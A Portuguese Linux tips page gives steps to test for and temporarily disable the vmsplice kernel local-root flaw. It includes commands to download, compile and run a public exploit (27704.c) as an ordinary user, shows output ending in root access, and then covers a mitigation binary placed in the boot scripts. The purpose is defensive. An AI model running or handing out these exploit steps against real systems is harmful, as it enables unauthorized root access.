Logotipo Dicas-L, por Ricardo Burile

Busca

Visite também: UnderLinux ·  VivaOLinux ·  LinuxSecurity ·  NoticiasLinux ·  BR-Linux ·  SoftwareLivre.org ·  [mais]   
 

 

Aprenda inglês em casa

Baixe gratuitamente as duas primeiras aulas

English for Reading and Listening

Receba por email, diariamente, mensagens contendo materiais para leitura e audição, incluindo arquivos no formato MP3 gravados por falantes nativos.

Saiba mais e faça sua inscrição

Você está aqui: Home  → Arquivo Dicas-L

 

Formação de Analistas de Negócios

Assine a Lista Dicas-L

Receba diariamente por email as dicas
de informática publicadas neste site
Para se descadastrar, clique aqui.

Publicar em del.icio.us

Explorando e resolvendo vulnerabilidade local no Kernel Linux

Colaboração: Pedro Al Pacheco

Esta dica é um resumo e serve para testar e solucionar a falha critica, baseado no alerta de segurança gerado pelo CAIS (CAIS Centro de Segurança

a Incidentes de Segurança ) utilizando a segunda opção - Desabilitar temporariamente a função do kernel vulnerável, até o próximo reinício do sistema e habilitando no boot. A primeira opção que seria a atualização do kernel não será abordada.

Testado na distribuição:Debian.

1. Como testar seu servidor:

O teste é feito baixando exploit de: wget http://downloads.securityfocus.com/vulnerabilities/exploits/27704.c

Após baixar compile com o comando (A compilação e execução das ações abaixo podem ser feitas como Root ou Usuário comum, foram testadas nas duas formas e foi obtido êxito) :

  # gcc -o exploit 27704.c

Obs.: (gcc -o novo_nome_binario fonte_arquivo)

De permissão de execução do usuário.

  chmod 777 exploit

Será criado um executável:

  ./exploit

Copie para a pasta do usuário local, ex.:

  # cp exploit /home/pedro

Entre com o comando:

  su nome_do_usuario_comum (Para logar como usuário comum).

Execute o binário:

  ./exploit

A saída deve ser a seguinte:

  Linux vmsplice Local Root Exploit
  By qaaz
  ------ ------ ------ ------ -----------
  [+] mmap: 0x0 .. 0x1000
  [+] page: 0x0
  [+] page: 0x20
  [+] mmap: 0x4000 .. 0x5000
  [+] page: 0x4000
  [+] page: 0x4020
  [+] mmap: 0x1000 .. 0x2000
  [+] page: 0x1000
  [+] mmap: 0xb7df6000 .. 0xb7e28000
  [+] root

Depois você simplesmente digita o comando su - e não será pedido senha alguma para root e você terá acesso pleno ao servidor como usuário máximo.

2. Como vacinar seu servidor

Existem duas formas:

Baixe no link :

  wget http://www.ping.uio.no/~mortehu/disable-vmsplice-if-exploitable.c

Compile disable-vmsplice-if-exploitable.c:

  # gcc -o desabilita-exp disable-vmsplice-if-exploitable.c

Obs.:(gcc -o novo_nome_binario fonte_arquivo)

Será gerado seguinte binário:

  ./desabilita-exp

Após a execução de ./desabilita-exp não terá mais problemas com a vulnerabilidade. A saída de execução será esta:

  ------ ------ ------ ------ -----------
  Linux vmsplice Local Root Exploit
  By qaaz
  ------ ------ ------ ------ -----------
  Exploit gone!

Coloque na inicialização do Sistema Operacional onde você desejar: Ex.: /etc/rc.local ou no /etc/rcx.d

Reinicie o servidor e efetue os testes referenciados no item 1 .

Lembrando que esta medida é temporária sem a necessidade de compilar o kernel.

Fontes

Veja a relação completa dos artigos de Pedro Al Pacheco

Referências Adicionais

Referências adicionais sobre os assuntos abordados neste site podem ser encontradas em nossa Bibliografia.

Avalie esta dica

  • Currently 3.06/5
  • 1
  • 2
  • 3
  • 4
  • 5

Avaliação: 3.1 /5 (139 votos)

Recomende este site
Recomendar este artigo


Versão para impressão


Opinião dos Leitores

Ulisses Castro
24 Mai 2008, 05:46
Não vejo utilidade em postar uma dicas como estas, sabendo que este bug já foi corrigido na grande mairoria das distribuições (slack, redhat, debian, ubuntu, sles, ...) inclusive o próprio kernel já foi corrigido.

Um simples update em qualquer distribuição já é suficiente para corrigir este bug. Debian/Ubuntu por exemplo:

# aptitude update

Já resolveria pois atualiza o kernel para última versão que já está corrigida.

É interessante frisar já aproveitando que a dica foi postada a importância de mantermos nossos servidores sempre atualizados.

(obs: no Debian este bug foi corrido em menos de 3 horas logo após a descoberta.)
*Nome:
Email:
Me notifique sobre novos comentários nessa pagina
Oculte meu email
*Texto:
 
  Para publicar seu comentário, digite o código contido na imagem acima
 


Powered by Scriptsmill Comments Script
Treina Linux -  Cursos de Linux e Video aulas

Cursos

Seminário Investindo em Ações
Conceitos Fundamentais para Iniciantes
Dias 13 de Setembro - São Paulo
Saiba mais

Biblioteca

Redes - Guia Prático
Por Carlos. E. Morimoto

Hardware - o Guia Definitivo
Por Carlos. E. Morimoto

Kurumin 7 - Guia Prático
Por Carlos. E. Morimoto

Linux: Ferramentas Técnicas, 2ed
Por Carlos. E. Morimoto

Use a Cabeça!: JSP & Servlets
Por Brian Bashan, Kathy Sierra, Bert Bates

Google Hacking
Por JOHNNY LONG

1808
Por Laurentino Gomes

Sistemas de Banco de Dados
Por Ramez E. Elmasri e Shamkant Navathe

Linux: Guia do Administrador do Sistema
Por Rubem E. Ferreira

A Menina que Roubava Livros
Por Markus Zusak

Sistemas Operacionais Modernos
Por Andrew S. Tanembaum

Hardware: Curso Completo
Por Gabriel Torres

PHP para Quem Conhece PHP
Por Juliano Niederauer

Redes de Computadores: Curso Completo
Por Gabriel Torres

Java: Como Programar
Por Harvey M. Deitel e Paul J. Deitel

O Caçador de Pipas
Por Khaled Hosseini

O Médico Doente
Por Dráuzio Varella

Enterprise Javabeans 3.0
Por Bill Burke, Richard Monson

MySQL - Guia do Programador
Por André Milani

Certificação Linux
Por Uira Ribeiro

Manual Completo do Linux: Guia do Administrador
Por Evi Nemeth, Trent R. Hein, Garth Snyder

OpenGL: uma Abordagem Prática e Objetiva
Por Marcelo Cohen, Isabel Harb Manssour

Expressões Regulares: Uma Abordagem Divertida
Por Aurélio Marinho Jargas

Extreme Programming
Por Vinicius Manhaes Teles